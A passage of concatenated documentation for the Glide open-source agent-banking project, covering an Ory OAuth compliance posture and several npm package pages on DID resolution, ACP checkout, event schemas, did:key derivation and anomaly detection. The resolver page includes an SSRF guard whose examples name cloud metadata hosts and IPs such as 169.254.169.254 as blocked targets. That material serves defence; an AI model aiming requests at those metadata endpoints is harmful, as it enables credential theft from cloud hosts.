5. Comply with all identity-data laws applicable to your jurisdiction and the jurisdictions of your end users — including GDPR, CCPA, and any breach-notification statute (≤72h under GDPR for personal-data breaches). The Operator is the data controller for end-user identities; if Ory Network processes that data, the Operator signs Ory's Data Processing Agreement directly.
6. Comply with Ory Corp's then-current terms of service if using Ory Network, including any acceptable-use, fair-use-quota, or sanctions provisions.
## Termination + survival
If Ory Corp terminates an Operator's Ory Network access for any reason, the Operator's documented pivot path is to self-host Ory Hydra OSS via `docker-compose.hydra.yml`. Glide does not need to be notified, and no Glide source change is required (it is an env-var flip). All disclaimer obligations and indemnities survive termination of the Operator's AS relationship.
## Dispute resolution
Disputes between Operator and Glide arising from the MIT-licensed Glide source code are governed by the laws of the State of Delaware, USA, without regard to conflict-of-laws principles, with venue and arbitration in San Francisco, California. **Disputes between Operator and Ory Corp are between Operator and Ory Corp.** Glide is not a party.
## Anti-abuse
* One Ory Network project (or one Hydra deployment) per Operator. No multi-tenant pass-through resale.
* Never share signing keys across deployments. Dev gets a dev key; staging gets a staging key; prod gets a prod key.
* Rotate immediately on any suspicion that a private signing key, client secret, or workspace API key has leaked.
* Treat the AS as a blast-radius boundary — compromise of the AS compromises every MCP grant downstream.
This file is required reading per the OSS Cathedral M2.5 milestone (Headless / MCP cathedral, OAuth-AS posture).
See `ory-vendor-posture-COMPLIANCE.md` for the structured-fields counterpart.
# Compliance — Ory (OAuth Authorization Server)
## Vendor
**Ory Corp** — maintainer of Ory Hydra (OAuth 2.0 + OpenID Connect Authorization Server, Apache-2.0 OSS) and operator of **Ory Network** (the hosted SaaS that fronts Hydra and related Ory components). Ory is the counterparty for the OAuth AS sitting between Glide's `apps/mcp` JWT verifier and the agent runtimes that mint scoped grants.
## Definitions
* **Glide** — the MIT-licensed OSS orchestration shell distributed from this repository. Glide is not an identity provider, not a regulated processor of operator end-user PII at the AS layer, and not a party to the Operator's relationship with any AS vendor.
* **Operator** (a.k.a. **Self-Hoster**) — the entity running a Glide deployment in any environment (demo, staging, or production). The Operator is the data controller for its end users.
* **Vendor** — Ory Corp, the third-party software supplier (Hydra OSS) and SaaS operator (Ory Network).
* **MCP** — Glide's Model Context Protocol surface at `apps/mcp/`, which exposes 22 agent-banking tools and validates incoming JWTs against the AS's JWKS.
* **OAuth AS** — the OAuth 2.0 + OpenID Connect Authorization Server. In this posture, either Ory Network (hosted) or self-hosted Ory Hydra OSS.
* **JWKS** — JSON Web Key Set, the public key bundle exposed by the AS at `/.well-known/jwks.json` and consumed by `apps/mcp` for signature verification.
* **Token Verifier** — the JWT validation pipeline inside `apps/mcp/src/server.ts`. It enforces `iss`, `aud`, `exp`, `nbf`, signature, and scope.
* **Confidential Client** — an OAuth client that authenticates with a secret (server-to-server, e.g., `apps/web` ↔ `apps/mcp` via `client_credentials`).
* **Public Client** — an OAuth client that cannot keep a secret (browser / CLI / partner agent runtime), authenticated via PKCE.
## Adapter modes
Glide supports two equally-valid AS adapter modes, per the OSS plan §M2.5:
1. **Ory Network (hosted SaaS).** Free tier available; paid tiers per Ory's published terms. Operator signs up at console.ory.sh, provisions OAuth clients via the Ory CLI, and exports the project URL. `apps/mcp` consumes the project's JWKS via `MCP_JWKS_URL`. Data residency is governed by Ory Network's region selection (US / EU as published by Ory).
2. **Self-hosted Ory Hydra OSS (Apache-2.0).** Operator runs `docker-compose.yml` + `docker-compose.hydra.yml` and executes `scripts/hydra-bootstrap.sh` to register the same OAuth clients. Hydra v2.2.0 + Postgres + the reference consent UI run on the Operator's infrastructure. Data residency is whatever the Operator's infrastructure provides.
Glide ships both paths in equal posture. The choice is the Operator's based on infrastructure comfort, data-residency obligations, and budget. Glide expresses no preference and does not steer Operators toward one adapter mode over the other.
## Data Residency
Glide's `apps/mcp` does not transmit end-user PII to the AS at the application layer. The AS may receive subject identifiers (`sub`) for authorization-code flows, plus client identifiers and scopes. Any such data flows are governed by:
* **Ory Network mode:** Ory Corp's published Data Processing Agreement, with US / EU region selection per the Operator's project configuration. Operators with EU data-residency obligations should select the EU region at project-creation time (Ory's region selector is one-time and not subsequently migratable per their published behavior — verify with Ory before relying on it).
* **Self-host mode:** the Operator's own infrastructure region; no third-party processor for the AS layer. The Operator is solely responsible for residency posture.
End-user identity data (Privy-issued user IDs, embedded wallet addresses, etc.) is brokered by Privy upstream of the AS. Glide is not the controller for that data; the Operator is. See `docs/SELF_HOSTING.md` and the upstream Privy vendor posture (where present) for the broader identity-data flow.
## Confidentiality + IP
* **Operator identity data is the Operator's.** Glide does not assert any right, title, or interest in end-user identities, OAuth client secrets, signing keys, or workspace API keys held by the Operator.
* **Ory Network DPA.** When the Operator uses Ory Network, the Operator signs Ory's Data Processing Agreement directly. Glide is not a sub-processor and is not bound by that DPA.
* **Glide PII exposure at the AS layer.** Glide's MCP verifier reads only public-key material (JWKS) and signed JWTs. It does not retain identifying claims beyond the lifetime of a request, except where logging is explicitly enabled by the Operator.
* **No reverse-engineering / scraping of Ory Network.** Operators must not use Glide's Ory adapter to scrape, reverse-engineer, or otherwise probe Ory Network beyond the documented OAuth surface.
## License Posture
* Glide source: **MIT**. Adapter / compose / bootstrap files are MIT.
* Ory Hydra OSS: **Apache-2.0**. Operator self-hosters accept Apache-2.0 directly with Ory's authors.
* Ory CLI: **Apache-2.0**. Same posture.
* Ory Network: **paid SaaS**, Ory Corp's terms. Glide is not a reseller, sub-licensor, or contractual intermediary.
* `authPosture: vendor-fronted`. Glide validates JWTs; the AS itself is the regulated party for OAuth issuance.
## Operator Responsibility
An Operator running Glide's MCP surface in production is bound by:
1. **Vendor relationship.** Hold a valid Ory Network relationship under Ory Corp's then-current terms, **OR** self-host Ory Hydra OSS in compliance with the Apache-2.0 license. **Glide does not redistribute Ory Network credentials, does not bundle Ory binaries beyond the upstream `oryd/hydra` Docker image referenced in compose, and does not proxy Ory access on behalf of third parties.**
2. **Single-tenant deployment.** One Ory Network project (or one Hydra deployment) per Operator. No reselling Ory Network access through Glide to unrelated third parties.
3. **Key hygiene.** Do not share signing keys across environments. Dev / staging / prod each get their own AS. Rotate signing keys on a documented cadence (quarterly minimum), and immediately on any suspicion of compromise. Ory Network rotates JWKS on its tier-defined schedule; self-hosters configure rotation themselves.
4. **Identity-data law compliance.** Comply with GDPR, CCPA, and any other identity-data law applicable to your jurisdiction and the jurisdictions of your end users. The Operator is the data controller for end-user identities; if Ory Network processes that data, the Operator signs Ory's DPA directly.
5. **Breach notification.** Notify users and regulators per applicable law (GDPR ≤72h for personal-data breaches; CCPA / state-AG timelines as applicable). Glide is not a co-controller and cannot notify on the Operator's behalf.
6. **Token-compromise monitoring.** Monitor for stolen tokens, anomalous mint volume, and JWKS unavailability. The kill-switch at `/admin/agents-kill-switch` revokes Glide-side grants; revoking issued tokens at the AS is the Operator's job.
## OSS-supported configurations
If you are not yet ready to operate either Ory Network or self-hosted Hydra, you have two OSS-supported configurations:
1. **Dev-secret HMAC verifier.** Set `MCP_TOKEN_VERIFIER_DEV_SECRET` to a ≥32-char value. The MCP server falls back to symmetric HMAC when `MCP_JWKS_URL` is unset. **NOT FIT FOR PRODUCTION** — the HMAC is shared between issuer and verifier, defeating the JWKS posture's blast-radius isolation.
2. **Self-hosted Hydra in dev mode.** Run the compose overlay locally; clients use `glide-dev-mcp-secret-CHANGEME` from the bootstrap script. Suitable only for environments where no real money moves.
For production, choose Ory Network OR self-hosted Hydra. Both paths feed the same `MCP_JWKS_URL` / `MCP_ISS_URL` / `MCP_AUDIENCE` env contract; the cutover is an env-var flip, no code change.
## Termination + Pivot
If Ory Corp terminates an Operator's Ory Network access (for any reason — non-payment, ToS violation, sunset of a tier), the Operator's documented pivot is to self-hosted Hydra via `docker-compose.hydra.yml`. The same env contract holds. Glide does not commit to maintaining one adapter mode over the other; both are first-class for the foreseeable plan horizon.
Survival: the Operator's indemnification obligations under `DISCLAIMER.md` survive termination of any AS relationship.
## Dispute Resolution
* **Operator vs. Glide:** Delaware governing law, San Francisco arbitration. See `DISCLAIMER.md`.
* **Operator vs. Ory Corp:** governed by Ory Corp's then-current terms. Glide is not a party.
See `ory-vendor-posture-DISCLAIMER.md` for the plain-language operator-facing notice.
# @glideco/a2a-resolver
Source: https://glide-9da73dea.mintlify.app/oss/packages/a2a-resolver
Resolve agent_did counterparties to settling addresses via ERC-8004, ENS ENSIP-9, did:web, or Glide-internal vault lookup.
Resolves `agent_did` counterparties to on-chain settling addresses. Four resolution schemes: Glide-internal same-tenant vault (free, instant), ERC-8004 Identity Registry (Ethereum mainnet), ENS multi-chain addresses via ENSIP-9, and `did:web` HTTPS document fetch. Ships a DNS-rebinding-safe fetch helper for the `did:web` path.
Pure functions with injected resolver implementations. On-chain reads and network IO live in `apps/web`.
## Install
```bash theme={null}
npm install @glideco/a2a-resolver
```
[npmjs.com/package/@glideco/a2a-resolver](https://www.npmjs.com/package/@glideco/a2a-resolver)
## Why a resolution chain
Agents reference each other by DID, not by a fixed on-chain address. A DID-addressed counterparty can route to whichever chain the recipient prefers today and change that preference later. The resolution chain runs in priority order — Glide-internal first (cheapest), then on-chain registries, then the HTTPS document fallback — so same-tenant payments are never sent on-chain when an internal vault hop is available.
ERC-8004 went live on Ethereum mainnet on 2026-01-29. The `did:erc8004` scheme is the canonical anchor for agents with on-chain identity. ENS (`did:ens`) and `did:web` support agents that predate ERC-8004 or prefer off-chain identity.
## DID URI schemes
| Scheme | Format | Resolution path |
| ------------- | ------------------------ | ---------------------------------------------------------- |
| `did:key` | `did:key:z` | Glide-internal tenant lookup by `agent_principals.did_key` |
| `did:erc8004` | `did:erc8004:0x<64 hex>` | On-chain `resolveAgent(bytes32)` via viem |
| `did:ens` | `did:ens:.eth` | ENS multi-chain addresses (ENSIP-9) |
| `did:web` | `did:web:` | HTTPS fetch of `/.well-known/did.json` |
## Resolving a counterparty
```ts theme={null}
import { resolveAgentDid } from '@glideco/a2a-resolver';
const outcome = await resolveAgentDid(
{
kind: 'agent_did',
did: 'did:web:agent.example.com',
preferredChain: 'base',
preferredToken: 'USDC',
},
{
resolveDidWeb: async (did) => {
// apps/web injects safeFetchDidWeb here
const doc = await safeFetchDidWeb(did);
return extractSettlingAddress(doc, preferredChain, preferredToken);
},
}
);
if (outcome.ok) {
// outcome.resolved.address → '0xabc...def'
// outcome.resolved.chain → 'base'
// outcome.resolved.token → 'USDC'
// outcome.resolved.source → 'did-web'
// outcome.resolved.confidence → 0.8
} else {
// outcome.reason → 'no resolver could map ... to a settling address'
}
```
The `deps` object is the injection point. Pass only the resolvers your environment supports — the orchestrator skips schemes with no injected resolver.
## Validation
```ts theme={null}
import { isValidAgentDid, classifyAgentDid } from '@glideco/a2a-resolver';
isValidAgentDid('did:key:z6MkhaXgBZDvotDkL5257faiztiGiC2QtKLGpbnnEGta2doK');
// → true
isValidAgentDid('did:web:metadata.aws.internal');
// → false (caught by regex before any fetch)
classifyAgentDid('did:erc8004:0x' + 'a'.repeat(64));
// → 'did:erc8004'
```
`isValidAgentDid` enforces:
* `did:key` — base58btc alphabet only (`z` prefix, no `0OIl`).
* `did:web` — requires at least one dot, no IPv4 literals, no IPv6 brackets, TLD ≥ 2 ASCII letters.
* `did:erc8004` — exactly 64 hex digits (bytes32, not bytes20/EVM address).
* Max length 512 to prevent regex-DoS on pathological inputs.
## DNS-rebinding-safe did:web fetch
String-level validation alone doesn't prevent SSRF — a public domain can have an A record pointing at `169.254.169.254` or an RFC 1918 address. `safeFetchDidWeb` resolves the hostname first, rejects if any A/AAAA record is private, then connects via undici with the pre-resolved IP pinned so a rebinding attack between the resolution and the TCP connect can't swap the destination.
```ts theme={null}
import { safeFetchDidWeb, isPublicIp } from '@glideco/a2a-resolver';
// isPublicIp covers: loopback, link-local, RFC 1918, CGNAT,
// multicast, cloud metadata IPs (100.100.100.200, 168.63.129.16, etc.)
isPublicIp('192.168.1.1'); // false
isPublicIp('100.100.100.200'); // false (Alibaba metadata)
isPublicIp('2600:1f18::1'); // true
const didDoc = await safeFetchDidWeb('did:web:agent.example.com', {
timeoutMs: 3000,
maxBodyBytes: 512 * 1024,
});
```
## Audit trail
```ts theme={null}
import { buildA2aAuditRecord } from '@glideco/a2a-resolver';
const record = buildA2aAuditRecord({
senderDid: 'did:key:z6Mk...',
recipient: { kind: 'agent_did', did: 'did:web:agent.example.com' },
resolved: outcome.resolved,
paymentId: 'pay_abc123',
amountCents: 5000,
currency: 'USD',
});
// record.event_type → 'a2a.payment.routed'
// record.resolution_source → 'did-web'
// record.resolution_confidence → 0.8
// Append to mcp_audit_events.
```
The audit record captures both sender and recipient DID so the `mcp_audit_events` table stores the full A2A graph — needed for ERC-8004 reputation feedback in a future release.
## Reading list
* [ERC-8004 standard](https://eips.ethereum.org/EIPS/eip-8004) — the on-chain identity registry this package resolves against.
* [Agent identity schema](/oss/packages/agent-identity) — the `did_key` column on `agent_principals` that backs Glide-internal resolution.
* [`@glideco/smart-router`](/oss/packages/smart-router) — routes the settled address returned by this resolver onto the cheapest available rail.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/a2a-resolver)
# @glideco/acp-merchant
Source: https://glide-9da73dea.mintlify.app/oss/packages/acp-merchant
Merchant-side handler for the Agentic Commerce Protocol (ACP) v2026-04-17.1. Zod schemas + pure handler functions for /agentic_checkout and /delegate_payment.
Merchant-side adapter for the Agentic Commerce Protocol (ACP), a REST
commerce layer co-authored by OpenAI and Stripe with deployments live at Etsy,
and rolling out across Shopify merchants including Glossier, Vuori, and Spanx.
The protocol lets buyer agents (ChatGPT, Claude tools, custom orchestrators)
submit a cart and settle payment against any ACP-conformant merchant endpoint.
This package provides the Zod schemas and pure handler functions for the two
ACP endpoints; the actual Next.js route handlers and settlement dependencies
live in `apps/web`.
This package is a wire-format adapter, not the source of truth for the ACP
spec. When ACP publishes a new dated release that changes wire shape, the
version literal is bumped, both route handlers are updated, and the merchant
integration tests are re-run. The current pinned version is echoed on every
response via the `X-Acp-Version` header so SDK consumers can detect what
variant they are talking to.
## Install
```bash theme={null}
npm install @glideco/acp-merchant
```
[npmjs.com/package/@glideco/acp-merchant](https://www.npmjs.com/package/@glideco/acp-merchant)
## Why strict parsing matters
ACP's reference clients (Etsy's buyer-agent SDK, Shopify Sidekick) produce
largely valid payloads, but third-party agents regularly emit lowercase
currency strings, signed amounts on positive-only fields, and ids containing
URL-reserved characters. Those errors surface silently downstream in Stripe SPT
cache lookups and tax exporters that key on literal strings. The `v2026-04-17.1`
strictness bump closes those gaps: ISO 4217 uppercase enforced via regex on all
currency fields, non-negative amounts required on `unitPrice` / `subtotal` /
`total` / `shipping` / `tax`, and URL-safe ids on carts and line items.
## Spec version
Pinned to ACP **`2026-04-17.1`** — exported as `ACP_SPEC_VERSION`. The `.1`
Glide suffix marks a parser-only tightening: the upstream ACP wire spec at
`v2026-04-17` is unchanged, but our parser now rejects what the spec says is
invalid but previously accepted silently.
## API surface
| Export | Description |
| ----------------------------------------- | ------------------------------------------------------------------------------------------ |
| `handleAgenticCheckout(rawRequest, deps)` | Parse, validate, and idempotently create a checkout intent. |
| `handleDelegatePayment(rawRequest, deps)` | Confirm + settle a previously created checkout intent. |
| `recomputeCartSubtotal(cart)` | Server-side subtotal recompute from line items. Never trust buyer-supplied subtotals. |
| `validateCartTotal(cart)` | Check that `total = subtotal + shipping + tax - discount`. Returns `AcpError` on mismatch. |
| `ACP_SPEC_VERSION` | `'2026-04-17.1'` — echoed in `X-Acp-Version` response header. |
| `ACP_VERSION_HEADER` | `'X-Acp-Version'` — header constant. |
| `ACP_IDEMPOTENCY_HEADER` | `'Idempotency-Key'` — spec-mandated idempotency header. |
## Wiring the /agentic\_checkout route
```ts theme={null}
// apps/web/src/app/api/acp/agentic_checkout/route.ts
import { handleAgenticCheckout, ACP_VERSION_HEADER, ACP_SPEC_VERSION } from '@glideco/acp-merchant';
export async function POST(req: Request) {
const body = await req.json();
// Per spec: prefer header, fall back to body field for legacy clients
const idempotencyKey = req.headers.get('Idempotency-Key') ?? body.idempotencyKey;
const response = await handleAgenticCheckout(
{ ...body, idempotencyKey },
{
async loadByIdempotencyKey(key) {
return db.query.acpCheckouts.findFirst({ where: eq(schema.acpCheckouts.idempotencyKey, key) });
},
async storeForIdempotency(key, checkout) {
await db.insert(schema.acpCheckouts).values({ ...checkout, idempotencyKey: key });
},
async mintPaymentIntent(cart, buyer) {
// Creates a Stripe SPT or Glide x402/MPP payment intent
return smartRouter.createPaymentIntent({ cart, buyer });
},
}
);
return Response.json(response, {
headers: { [ACP_VERSION_HEADER]: ACP_SPEC_VERSION },
});
}
```
## Cart validation
Always recompute and validate cart totals server-side before minting a payment
intent:
```ts theme={null}
import { recomputeCartSubtotal, validateCartTotal } from '@glideco/acp-merchant';
// Recompute subtotal from line items (ignores buyer-supplied subtotal)
const computed = recomputeCartSubtotal(cart);
// Check the total = subtotal + shipping + tax - discount
const cartError = validateCartTotal(cart);
if (cartError) {
return Response.json(cartError, { status: 400 });
}
```
## Error codes
| Code | When |
| ----------------------- | -------------------------------------------------------------------------------- |
| `invalid_request` | Schema validation failed (bad amount format, lowercase currency, URL-unsafe id). |
| `invalid_cart_total` | `total ≠ subtotal + shipping + tax - discount`. |
| `idempotency_conflict` | Same key, different cart payload (replay with drift). |
| `unsupported_currency` | Currency not accepted by this merchant. |
| `spec_version_mismatch` | Caller's `X-Acp-Version` does not match `ACP_SPEC_VERSION`. |
| `sanctions_block` | Buyer agent's DID / address matched a sanctions entry. |
## Common pitfalls
**Discount polarity.** `discount` keeps `acpMoneySchema` (allows negative amounts)
because the spec represents discounts as negative values. All other money fields
use `acpMoneyPositiveSchema` — a negative `unitPrice` produces a 400.
**Idempotency key location.** The ACP spec mandates `Idempotency-Key` as an HTTP
header (Stripe-inherited). Both route handlers accept a body field as fallback
for legacy clients, but the header takes precedence when both are present.
**Cart repricing.** The buyer agent constructs the cart; the merchant must reprice
it server-side using `recomputeCartSubtotal` before charging. A buyer agent that
inflates `subtotal` to reduce the charged amount is stopped here.
## Reading list
* [ConnectorManifest standard](/oss/standards/connector-manifest) — how
ACP endpoint capabilities are declared.
* [`@glideco/ap2-adapter`](/oss/packages/ap2-adapter) — mandate layer
that sits above ACP commerce.
* [`@glideco/ucp-profile`](/oss/packages/ucp-profile) — discovery profile
that advertises ACP endpoint URLs.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/acp-merchant)
# @glideco/agent-events
Source: https://glide-9da73dea.mintlify.app/oss/packages/agent-events
Closed-vocab Zod schemas for every event type in the Glide agent activity log. The taxonomy behind the AgentActivityEvent JSON Schema.
OSS reference implementation of the agent activity-log taxonomy from the Glide
OSS plan §M4. Every event type that the MCP layer appends to `activity_log`
lives here as a Zod schema in a discriminated union. The closed vocabulary is
intentional: audit log consumers — compliance exporters, explainer narrators,
anomaly detectors — switch on `eventType`; adding a new event type requires a
deliberate schema update and a corresponding render path.
The package ships the v1 surface of the
[AgentActivityEvent JSON Schema](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json)
published at `glide.co/schemas/agent-banking/v1/`.
## Install
```bash theme={null}
npm install @glideco/agent-events
```
[npmjs.com/package/@glideco/agent-events](https://www.npmjs.com/package/@glideco/agent-events)
## Why a closed vocab?
An open event taxonomy is a footgun for every downstream consumer. If any string
is a valid `eventType`, the compliance exporter can't tell the difference between
a known event and a fabricated one, and the anomaly detector's switch statement
silently falls through to a no-op default.
The discriminated union here enforces that every `eventType` literal has a known
schema. Unrecognized event types fail `AgentEventSchema.parse()` at the boundary
where the event enters the system — typically inside the MCP tool handler — not
later when a reviewer tries to render it.
Adding a new event type changes the literal, schema and union entry
that produces a TypeScript compile error everywhere the switch is exhaustive.
That friction is the point.
## Event types (v1)
| Event type | Payload schema | When it fires |
| ------------------------ | ---------------------------- | ---------------------------------------------------------- |
| `tool_call` | `ToolCallEventSchema` | Tool handler completes (pass or flag) |
| `tool_call_blocked` | `ToolCallEventSchema` | Policy engine returns `deny` before execution |
| `tool_call_failed` | `ToolCallEventSchema` | Tool handler throws (infra error, not policy) |
| `reasoning_step` | `ReasoningStepEventSchema` | Agent emits a reasoning excerpt (≤200 chars, secrets-safe) |
| `risk_verdict` | `RiskVerdictEventSchema` | Risk layer returns `pass` / `flag` / `block` |
| `anomaly_detected` | `AnomalyDetectedEventSchema` | `@glideco/anomaly` heuristic fires |
| `step_up_requested` | `StepUpRequestedEventSchema` | Tool needs principal step-up before proceeding |
| `step_up_completed` | `StepUpCompletedEventSchema` | Principal completes biometric / passkey / hardware-key |
| `step_up_declined` | `StepUpRequestedEventSchema` | Principal declines or times out (same shape as requested) |
| `policy_change` | `PolicyChangeEventSchema` | Operator updates the vault's policy envelope |
| `policy_stale` | `PolicyChangeEventSchema` | Agent detects its cached policy is behind current version |
| `agent_install` | inline | Skill installed on an entity |
| `agent_uninstall` | inline | Skill removed |
| `kill_switch` | `KillSwitchEventSchema` | Forensic kill-switch activated (`all-agents` or scoped) |
| `dsar_redaction_applied` | `DsarRedactionEventSchema` | `@glideco/dsar` partial redaction applied |
| `dsar_tombstone_applied` | `DsarRedactionEventSchema` | `@glideco/dsar` full-erasure tombstone applied |
## Key payload shapes
The `ToolCallEvent` is the most data-rich shape. It carries the SHA-256 digests
of input and output (never the raw values), the risk verdict, policy version,
grant ID, and optional on-chain tx hash + amount:
```ts theme={null}
import {
AgentEventSchema,
ToolCallEventSchema,
isAgentEventOfType,
parseAgentEvent,
type AgentEvent,
type ToolCallEvent,
} from '@glideco/agent-events';
// Validate an inbound event from the MCP layer:
const event = parseAgentEvent(rawJson);
// Throws z.ZodError if eventType is unrecognized or payload is malformed.
// Narrow to a specific shape with a type guard:
if (isAgentEventOfType(event, 'tool_call')) {
// event.data is typed as ToolCallEvent
console.log(event.data.toolName); // e.g. 'transfer.sendUsdc'
console.log(event.data.riskVerdict); // 'pass' | 'flag' | 'block'
console.log(event.data.policyVersion); // integer; 0 on first issue
console.log(event.data.onChainTxHash); // undefined for non-broadcast tools
}
```
Step-up events carry a sigil — a short opaque string that links the `requested`,
`completed`, and `declined` triple into a single audit thread:
```ts theme={null}
import { parseAgentEvent } from '@glideco/agent-events';
const requested = parseAgentEvent({
eventType: 'step_up_requested',
data: {
sigil: 'su_2Zg4mKpT',
reason: 'Transfer amount $5,200 exceeds step-up threshold $5,000',
amountCents: 520_000,
counterparty: '0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045',
},
});
const completed = parseAgentEvent({
eventType: 'step_up_completed',
data: {
sigil: 'su_2Zg4mKpT',
approvedAtMs: Date.now(),
factor: 'biometric',
},
});
```
Policy change events record the direction of the change alongside version numbers:
```ts theme={null}
const change = parseAgentEvent({
eventType: 'policy_change',
data: {
fromVersion: 3,
toVersion: 4,
changedBy: 'user_operator_xyz',
direction: 'tighten', // 'tighten' | 'loosen' | 'lateral'
},
});
```
## Safe parsing
`parseAgentEvent` throws on invalid input. For a non-throwing path use
`AgentEventSchema.safeParse`:
```ts theme={null}
import { AgentEventSchema } from '@glideco/agent-events';
const result = AgentEventSchema.safeParse(untrustedPayload);
if (!result.success) {
console.error('invalid event', result.error.flatten());
} else {
// result.data is a narrowed AgentEvent
}
```
## Adding a new event type
1. Add the literal to `AGENT_EVENT_TYPES`.
2. Write a Zod schema for the payload.
3. Add a union member to `AgentEventSchema`.
4. Update the `activity_log` writer and any switch-exhaustive consumers.
New event types must go into unused positions — the literal strings are
stable v1 once published in the JSON Schema at `glide.co/schemas/agent-banking/v1/`.
## Reading list
* [AgentActivityEvent JSON Schema](https://glide.co/schemas/agent-banking/v1/agent-activity-event.json) —
the canonical v1 schema derived from this package.
* [`@glideco/anomaly`](/oss/packages/anomaly) — emits `anomaly_detected`
events consumed by this taxonomy.
* [`@glideco/dsar`](/oss/packages/dsar) — emits `dsar_redaction_applied`
and `dsar_tombstone_applied` events; same payload shape.
* [`@glideco/compliance-export`](/oss/packages/compliance-export) —
reads `activity_log` rows typed against these schemas for export.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/agent-events)
# @glideco/agent-identity
Source: https://glide-9da73dea.mintlify.app/oss/packages/agent-identity
did:key P-256 derivation from Apple App Attest and Android Key Attestation certificates. Pure functions, no IO.
`did:key` derivation and verification for Glide agents. Extracts the verified
P-256 EC public key from an Apple App Attest `credCert` (or Android Key
Attestation certificate) and encodes it as the W3C `did:key` form that
downstream agent-payments protocols — AP2, ACP, x402 — expect.
Every function in this package is pure. No network calls, no Node-specific
side effects beyond `node:crypto` for PEM parsing (Node 18+, Bun, Deno).
## Install
```bash theme={null}
npm install @glideco/agent-identity
```
[npmjs.com/package/@glideco/agent-identity](https://www.npmjs.com/package/@glideco/agent-identity)
## Why hardware-bound keys?
Glide signs every grant with a per-grant `did:key` so external verifiers can
resolve the agent's public key without making a Glide API call. The key
material is bound to a hardware-attested credential — the `did:key` is
*cryptographically derived* from Apple App Attest's P-256 key, not
client-asserted.
The alternative — deriving the `did:key` from the `device_attestations.ed25519_pub`
column — is explicitly rejected. That column carries no hardware binding.
The P-256 key extracted by the App Attest verifier is bound by Apple's PKI
to the device's Secure Enclave; Android Key Attestation provides the same
guarantee via StrongBox. The `did:key` emitted here inherits both assurances.
## Wire format
`did:key` for a P-256 key is `did:key:z`.
| field | bytes |
| ---------- | ------------------------------------------------------------------------------------------------------------------------- |
| multibase | `z` (base58btc) |
| multicodec | `0x12 0x00` (the current package prefix; verify interoperability before using it with an external did:key implementation) |
| pubkey | 33 bytes SEC1 compressed |
SEC1 compressed format: byte `0x02` when Y is even, `0x03` when Y is odd,
followed by the 32-byte big-endian X coordinate.
## API surface
```ts theme={null}
import {
pemToCompressedP256, // PEM SPKI → SEC1 33-byte Uint8Array
compressedP256ToDidKey, // SEC1 33-byte → DidKey string
pemToDidKey, // convenience: PEM → DidKey in one step
parseDidKeyP256, // DidKey string → SEC1 33-byte Uint8Array
isValidDidKey, // shape check (no exception on failure)
P256_MULTICODEC, // Uint8Array([0x12, 0x00])
DID_KEY_PREFIX, // 'did:key:z'
} from '@glideco/agent-identity';
```
## Worked examples
**From an App Attest credCert (most common path)**
```ts theme={null}
import { pemToDidKey } from '@glideco/agent-identity';
// `credCertPem` is the PEM-encoded SPKI returned by the App Attest
// verifier after signature + nonce checks pass.
const did = pemToDidKey(credCertPem);
// → 'did:key:zDnaeYr8LMXDy6dP3bP7GrTiykU3zYoLWqNYFakXwpBdnU3m'
// Attach the did to the grant before signing.
await db.update(grants).set({ agentDid: did }).where(eq(grants.id, grantId));
```
**Round-trip: encode then decode**
```ts theme={null}
import { compressedP256ToDidKey, parseDidKeyP256 } from '@glideco/agent-identity';
// Encode a SEC1 33-byte pubkey you already have.
const did = compressedP256ToDidKey(compressed33Bytes);
// Later, a VC verifier decodes it back to verify a signature.
const pubkeyBytes = parseDidKeyP256(did);
// pubkeyBytes is the original 33-byte Uint8Array
```
**Guard clause in a Zod refinement**
```ts theme={null}
import { z } from 'zod';
import { isValidDidKey } from '@glideco/agent-identity';
const didKeySchema = z
.string()
.refine(isValidDidKey, { message: 'invalid P-256 did:key' });
```
## Error handling
All functions throw `Error` with a message that identifies the failure point:
`pemToCompressedP256` throws on non-P-256 curves or malformed PEM;
`compressedP256ToDidKey` throws on wrong-length or invalid SEC1 prefix;
`parseDidKeyP256` throws on wrong multicodec or bad base58btc. `isValidDidKey`
swallows these and returns `false` — use it at API boundaries where you want
a boolean gate rather than exception propagation.
## Reading list
* [W3C DID Core v1.0](https://www.w3.org/TR/did-core/)
* [did:key v0.7](https://w3c-ccg.github.io/did-method-key/)
* [Multicodec table](https://github.com/multiformats/multicodec/blob/master/table.csv)
* [Apple App Attest](https://developer.apple.com/documentation/devicecheck/establishing-your-app-s-integrity)
* [`@glideco/kya-vc`](/oss/packages/kya-vc) — issues W3C VCs anchored to the `did:key` this package produces.
* [Source on GitHub](https://github.com/darshanbathija/axtior-neobank/tree/main/packages/agent-identity)
# @glideco/anomaly
Source: https://glide-9da73dea.mintlify.app/oss/packages/anomaly
Heuristic anomaly detector + storm suppression + Sentry sink. OSS reference impl. No classifier, no ML — every signal is explainable.
OSS reference implementation of the anomaly detector documented in the
Glide OSS plan §M4. Deterministic, explainable signals; no classifier,
no ML; every heuristic is a pure function over a facts snapshot the
operator passes in.
## Install
```bash theme={null}
npm install @glideco/anomaly
```
[npmjs.com/package/@glideco/anomaly](https://www.npmjs.com/package/@glideco/anomaly)
## Why no ML?
Per the OSS plan §"Critical architectural commitments":
> Anomaly signals are heuristics, not a classifier.
Signals are inputs to UI decision aids — the policy engine has the
only hard veto. Heuristics are explainable, version-controllable,
testable in isolation, and don't drift between training runs. ML is
the wrong tool for the "why did this fire" review surface.
## Built-in heuristics
| Heuristic | Default severity | What it catches |
| ------------------------------ | ------------------------------- | ------------------------------------ |
| `newRecipientHeuristic` | `notice` | First payment to a counterparty |
| `makeAmountDeviationHeuristic` | `warn` at 3×, `critical` at 10× | Amounts well above baseline median |
| `makeVelocityHeuristic` | `warn` at 2×, `critical` at 5× | Burst of tool calls |
| `allowlistBypassHeuristic` | `critical` | Attempt to pay outside the allowlist |
| `timeWindowHeuristic` | `warn` | Transactions outside business hours |
## Storm suppression
A burst of similar signals (e.g., 50 "new-recipient" events in 60
seconds during a payroll batch) should NOT fan out as 50 push
notifications. The suppressor returns at most `maxPerWindow` signals
per `(kind, agentId)` per `windowMs`; overflow signals are still
recorded — caller's choice what to do with them (typically routed to
an in-app aggregated feed).
```ts theme={null}
import { StormSuppressor } from '@glideco/anomaly';
const suppressor = new StormSuppressor({
maxPerWindow: 1,
windowMs: 60 * 60 * 1000, // 1 hour
});
const decision = suppressor.shouldPush(signal, agentId);
// → { pass: true } | { pass: false, reason: 'storm-suppressed', overflowCount: N }
